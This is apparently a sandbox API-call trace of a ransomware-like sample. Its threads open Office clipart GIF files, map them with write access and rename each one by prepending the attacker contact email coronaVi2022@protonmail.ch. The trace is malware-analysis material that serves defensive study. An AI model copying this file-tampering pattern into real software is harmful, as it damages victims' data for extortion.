	[0093.607] MapViewOfFile (hFileMappingObject=0xa64, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.610] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.610] CloseHandle (hObject=0xa64) returned 1
	[0093.611] GetCurrentThreadId () returned 0x1810
	[0093.611] FlushFileBuffers (hFile=0xa54) returned 1
	[0093.613] CloseHandle (hObject=0xa54) returned 1
	[0093.613] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 184
	[0093.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0093.614] free (_Block=0x51f60a0) 
	[0093.614] RtlExitUserThread (Status=0x0) 

Thread:
	id = 492
	os_tid = 0x1814

	[0093.616] _alloca_probe () returned 0x40328a
	[0093.616] GetCurrentThreadId () returned 0x1814
	[0093.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0093.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa64
	[0093.616] GetFileSizeEx (in: hFile=0xa64, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8601) returned 1
	[0093.617] CreateFileMappingA (hFile=0xa64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a1, lpName=0x0) returned 0xa68
	[0093.617] MapViewOfFile (hFileMappingObject=0xa68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.619] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.619] CloseHandle (hObject=0xa68) returned 1
	[0093.619] GetCurrentThreadId () returned 0x1814
	[0093.619] FlushFileBuffers (hFile=0xa64) returned 1
	[0093.621] CloseHandle (hObject=0xa64) returned 1
	[0093.621] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 184
	[0093.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0093.624] free (_Block=0x51f5098) 
	[0093.624] RtlExitUserThread (Status=0x0) 

Thread:
	id = 493
	os_tid = 0x1818

	[0093.626] _alloca_probe () returned 0x40328a
	[0093.627] GetCurrentThreadId () returned 0x1818
	[0093.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0093.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa68
	[0093.627] GetFileSizeEx (in: hFile=0xa68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4921) returned 1
	[0093.627] CreateFileMappingA (hFile=0xa68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1341, lpName=0x0) returned 0xa6c
	[0093.628] MapViewOfFile (hFileMappingObject=0xa6c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.629] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.629] CloseHandle (hObject=0xa6c) returned 1
	[0093.629] GetCurrentThreadId () returned 0x1818
	[0093.629] FlushFileBuffers (hFile=0xa68) returned 1
	[0093.638] CloseHandle (hObject=0xa68) returned 1
	[0093.638] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 184
	[0093.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0093.639] free (_Block=0x51f3088) 
	[0093.639] RtlExitUserThread (Status=0x0) 

Thread:
	id = 494
	os_tid = 0x181c

	[0093.641] _alloca_probe () returned 0x40328a
	[0093.641] GetCurrentThreadId () returned 0x181c
	[0093.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0093.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c
	[0093.642] GetFileSizeEx (in: hFile=0xa6c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5409) returned 1
	[0093.642] CreateFileMappingA (hFile=0xa6c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1521, lpName=0x0) returned 0xa70
	[0093.642] MapViewOfFile (hFileMappingObject=0xa70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.643] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.643] CloseHandle (hObject=0xa70) returned 1
	[0093.643] GetCurrentThreadId () returned 0x181c
	[0093.643] FlushFileBuffers (hFile=0xa6c) returned 1
	[0093.645] CloseHandle (hObject=0xa6c) returned 1
	[0093.646] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 184
	[0093.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0093.646] free (_Block=0x51f0070) 
	[0093.647] RtlExitUserThread (Status=0x0) 

Thread:
	id = 495
	os_tid = 0x1820

	[0093.648] _alloca_probe () returned 0x40328a
	[0093.649] GetCurrentThreadId () returned 0x1820
	[0093.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0093.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70
	[0093.649] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9248) returned 1
	[0093.649] CreateFileMappingA (hFile=0xa70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0xa74
	[0093.649] MapViewOfFile (hFileMappingObject=0xa74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.651] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.652] CloseHandle (hObject=0xa74) returned 1
	[0093.652] GetCurrentThreadId () returned 0x1820
	[0093.652] FlushFileBuffers (hFile=0xa70) returned 1
	[0093.653] CloseHandle (hObject=0xa70) returned 1
	[0093.653] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 184
	[0093.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0093.654] free (_Block=0x51f0070) 
	[0093.654] RtlExitUserThread (Status=0x0) 

Thread:
	id = 496
	os_tid = 0x1824

	[0093.656] _alloca_probe () returned 0x40328a
	[0093.656] GetCurrentThreadId () returned 0x1824
	[0093.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0093.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa74
	[0093.657] GetFileSizeEx (in: hFile=0xa74, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5049) returned 1
	[0093.657] CreateFileMappingA (hFile=0xa74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xa78
	[0093.657] MapViewOfFile (hFileMappingObject=0xa78, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.659] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.659] CloseHandle (hObject=0xa78) returned 1
	[0093.659] GetCurrentThreadId () returned 0x1824
	[0093.659] FlushFileBuffers (hFile=0xa74) returned 1
	[0093.661] CloseHandle (hObject=0xa74) returned 1
	[0093.661] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 184
	[0093.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0093.662] free (_Block=0x51f1078) 
	[0093.662] RtlExitUserThread (Status=0x0) 

Thread:
	id = 497
	os_tid = 0x1828

	[0093.663] _alloca_probe () returned 0x40328a
	[0093.664] GetCurrentThreadId () returned 0x1828
	[0093.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0093.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa78
	[0093.664] GetFileSizeEx (in: hFile=0xa78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4409) returned 1
	[0093.664] CreateFileMappingA (hFile=0xa78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1141, lpName=0x0) returned 0xa7c
	[0093.665] MapViewOfFile (hFileMappingObject=0xa7c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.666] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.666] CloseHandle (hObject=0xa7c) returned 1
	[0093.666] GetCurrentThreadId () returned 0x1828
	[0093.666] FlushFileBuffers (hFile=0xa78) returned 1
	[0093.668] CloseHandle (hObject=0xa78) returned 1
	[0093.668] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 184
	[0093.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0093.669] free (_Block=0x51f0070) 
	[0093.669] RtlExitUserThread (Status=0x0) 

Thread:
	id = 498
	os_tid = 0x182c

	[0093.671] _alloca_probe () returned 0x40328a
	[0093.671] GetCurrentThreadId () returned 0x182c
	[0093.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0093.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0093.672] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3993) returned 1
	[0093.672] CreateFileMappingA (hFile=0xa7c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa1, lpName=0x0) returned 0xa80
	[0093.672] MapViewOfFile (hFileMappingObject=0xa80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.673] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.673] CloseHandle (hObject=0xa80) returned 1
	[0093.673] GetCurrentThreadId () returned 0x182c
	[0093.673] FlushFileBuffers (hFile=0xa7c) returned 1
	[0093.677] CloseHandle (hObject=0xa7c) returned 1
	[0093.677] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 184
	[0093.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0093.678] free (_Block=0x51f80b0) 
	[0093.678] RtlExitUserThread (Status=0x0) 

Thread:
	id = 499
	os_tid = 0x1830

	[0093.680] _alloca_probe () returned 0x40328a
	[0093.680] GetCurrentThreadId () returned 0x1830
	[0093.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0093.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80
	[0093.681] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3385) returned 1
	[0093.681] CreateFileMappingA (hFile=0xa80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd41, lpName=0x0) returned 0xa84
	[0093.681] MapViewOfFile (hFileMappingObject=0xa84, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.682] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.682] CloseHandle (hObject=0xa84) returned 1
	[0093.682] GetCurrentThreadId () returned 0x1830
	[0093.682] FlushFileBuffers (hFile=0xa80) returned 1
	[0093.684] CloseHandle (hObject=0xa80) returned 1
	[0093.684] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 184
	[0093.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0093.685] free (_Block=0x51f3088) 
	[0093.685] RtlExitUserThread (Status=0x0) 

Thread:
	id = 500
	os_tid = 0x1834

	[0093.686] _alloca_probe () returned 0x40328a
	[0093.687] GetCurrentThreadId () returned 0x1834
	[0093.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0093.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84
	[0093.687] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0093.687] CreateFileMappingA (hFile=0xa84, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0xa88
	[0093.688] MapViewOfFile (hFileMappingObject=0xa88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.689] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.689] CloseHandle (hObject=0xa88) returned 1
	[0093.689] GetCurrentThreadId () returned 0x1834
	[0093.689] FlushFileBuffers (hFile=0xa84) returned 1
	[0093.716] CloseHandle (hObject=0xa84) returned 1
	[0093.717] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 184
